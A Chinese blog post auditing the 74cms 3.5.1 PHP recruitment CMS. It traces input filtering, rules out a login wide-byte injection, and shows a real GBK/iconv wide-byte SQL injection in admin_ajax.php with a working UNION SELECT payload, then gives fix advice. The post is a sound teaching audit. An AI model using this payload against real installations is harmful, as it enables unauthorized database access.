• 74cms3.5.1 代码审计


    先看一下目录

     index文件是一个程序的入口文件,所以通常我们只要读一遍index文件就可以大致了解整个程序的架构、运行的流程、包含到的文件,

    其中核心的文件又有哪些。

    而不同目录的index文件也有不同的实现方式,建议最好先将几个核心目录的index文件都简单读一遍。

    从入口文件index.php开始看吧,涉及到Smarty缓存机制

    <?php
    if(!file_exists(dirname(__FILE__).'/data/install.lock')) header("Location:install/index.php");//检查是否有安装锁
    define('IN_QISHI', true);//定义常量
    $alias="QS_index";
    require_once(dirname(__FILE__).'/include/common.inc.php');//dirname(__FILE__)取得当前文件所在的绝对目录
    if($mypage['caching']>0){
            $smarty->cache =true;
            $smarty->cache_lifetime=$mypage['caching'];
        }else{
            $smarty->cache = false;//开启缓存
        }
    $cached_id=$_CFG['subsite_id']."|".$alias.(isset($_GET['id'])?"|".(intval($_GET['id'])%100).'|'.intval($_GET['id']):'').(isset($_GET['page'])?"|p".intval($_GET['page'])%100:'');
    if(!$smarty->is_cached($mypage['tpl'],$cached_id))//如果当前页面没有被缓存
    {
    require_once(QISHI_ROOT_PATH.'include/mysql.class.php');//调用数据库
    $db = new mysql($dbhost,$dbuser,$dbpass,$dbname);
    unset($dbhost,$dbuser,$dbpass,$dbname);//加载模板页
    $smarty->display($mypage['tpl'],$cached_id);//调用模板生成缓存页面
    }
    else
    {
    $smarty->display($mypage['tpl'],$cached_id);//否则就直接生成缓存页面
    }
    unset($smarty);
    ?>

    对页面这些可控变量做了intval强转过滤。调用了两个配置文件,跟进。

    if (!empty($_GET))
    {
    $_GET  = addslashes_deep($_GET);
    }
    if (!empty($_POST))
    {
    $_POST = addslashes_deep($_POST);
    }
    $_COOKIE   = addslashes_deep($_COOKIE);
    $_REQUEST  = addslashes_deep($_REQUEST);
    date_default_timezone_set("PRC");
    $timestamp = time();
    $online_ip=getip();
    $ip_address=convertip($online_ip);//转化ip地址到真实地址

    对 $_GET,$_POST, $_REQUEST,$_REQUEST请求变量都加了过滤,跟进$online_ip

    跟进getip函数,

    function getip() {
        if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
            $onlineip = $_SERVER['HTTP_X_FORWARDED_FOR'];
        } elseif (isset($_SERVER['HTTP_CLIENT_IP'])) {
            $onlineip = $_SERVER['HTTP_CLIENT_IP'];
        } else {
            $onlineip = $_SERVER['REMOTE_ADDR'];
        }
        $onlineip = preg_match('/[d.]{7,15}/', addslashes($onlineip), $onlineipmatches);//匹配ip格式d表示十进制数字,{7,15}表示总字符为7到15个
        return $onlineipmatches[0] ? $onlineipmatches[0] : 'unknown';
    }

    这个和之前所审计的cms不同,加了过滤和ip格式的正则匹配。并且又再次对$online_ip 进行了过滤

        if ($_CFG['filter_ip'] && check_word($_CFG['filter_ip'],$online_ip))
        {
                $smarty->assign('info',$_CFG['filter_ip_tips']);
                $smarty->display('warning.htm');
                exit();
        }

    跟进data/config文件

     mysql类中的构造函数中定义了数据库编码为gbk,可以考虑宽字节注入,寻找注入点。

    进入到后台登录页面

     

     跟踪check_admin方法

    function check_admin($name, $pwd)
    {
        global $db;
        $row = $db->getone("SELECT COUNT(*) AS num FROM ".table('admin')." WHERE admin_name='$name' and pwd = md5('$pwd')");
         if($row['num'] > 0)
         {
             return true;
         }
         else
         {
             return false;
         }
    }

    跟踪getone方法,没有其他一些防止宽字节注入的过滤了

        function getone($sql, $type=MYSQL_ASSOC){
            $query = $this->query($sql,$this->linkid);
            $row = mysql_fetch_array($query, $type);
            return $row;
        }

    到后台登录页面upload/admin/admin_login.php尝试宽字节注入

     注意构造padyload时候一定要抓包修改发送,否则的话百分号会被url转码,这么操作下来最后也还是没成功。

    开启mysql sql语句日志后

    查看

     发现有这么个语句

    SET character_set_connection=gbk, character_set_results=gbk, character_set_client=binary

    character_set_client=binary 是将所有的数据以二进制来传输,就不存在宽字节注入问题了

    参考p神写得文章,太牛了 浅析白盒审计中的字符编码及SQL注入

    这是个假的漏洞,真漏洞发生在iconv()函数在转换时的编码问题会导致宽字节注入

    参考这篇文章的介绍的宽字节注入发生的各种情况https://www.cnblogs.com/zzjdbk/p/12984498.html

    师傅们都太强了。

    搜索iconv函数,发现了这么一个地方  出现问题的代码在admin/admin_ajax.php 79行处

    elseif($act == 'get_jobs')
    {
        $type=trim($_GET['type']);
        $key=trim($_GET['key']);
        if (strcasecmp(QISHI_DBCHARSET,"utf8")!=0)
        {
        $key=iconv("utf-8",QISHI_DBCHARSET,$key);
        }    
        if ($type=="get_id")
        {
            $id=intval($key);
            $sql = "select * from ".table('jobs')." where id='{$id}'  LIMIT 1";
        }
        elseif ($type=="get_jobname")
        {
            $sql = "select * from ".table('jobs')." where jobs_name like '%{$key}%'  LIMIT 30";
        }
        elseif ($type=="get_comname")
        {
            $sql = "select * from ".table('jobs')." where companyname like '%{$key}%'  LIMIT 30";
        }
        elseif ($type=="get_uid")
        {
            $uid=intval($key);
            $sql = "select * from ".table('jobs')." where uid='{$uid}'  LIMIT 30";        
        }
        else
        {
        exit();
        }

    为了使得SQL语句中的字符集保持一致,一般都会使用iconv等字符集转换函数进行字符集转换,问题就是出在了GBK向UTF-8转换的过程中。

    提交:http://127.0.0.1/foo.php?bar=%e5%5c%27

    变换过程:(e55c转为UTF-8为e98ca6)

    e55c27====(addslashes)====>e55c5c5c27====(iconv)====>e98ca65c5c27

    可以看到,多出了一个5c,将转义符(反斜杠)本身转义,使得后面的%27发挥了作用。最终产生单引号逃逸,完成sql语句闭合。

    构造payload

    ?act=get_jobs&type=get_jobname&key=錦‘ union select user(),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57%23

    对于宽字节编码,有一种最好的修补就是:

    (1)使用mysql_set_charset(GBK)指定字符集

    (2)使用mysql_real_escape_string进行转义

    原理是,mysql_real_escape_string与addslashes的不同之处在于其会考虑当前设置的字符集,不会出现前面e5和5c拼接为一个宽字节的问题,但是这个“当前字符集”如何确定呢?

    就是使用mysql_set_charset进行指定。

    上述的两个条件是“与”运算的关系,少一条都不行。

    测试:

     输出:

     效果很明显

     

  • 相关阅读:
    kendo DataSource
    动态改变kendoGrid的数据、列和基础设置
    kendoValidator 验证
    块级元素的水平、垂直居中
    kendoUpload 上传控件
    916数据结构额外考题
    916 数据结构与算法考纲
    英语六级作文翻译
    考研线性代数
    蓝牙室内定位技术原理
  • 原文地址:https://www.cnblogs.com/akger/p/15177062.html
Copyright © 2020-2023  润新知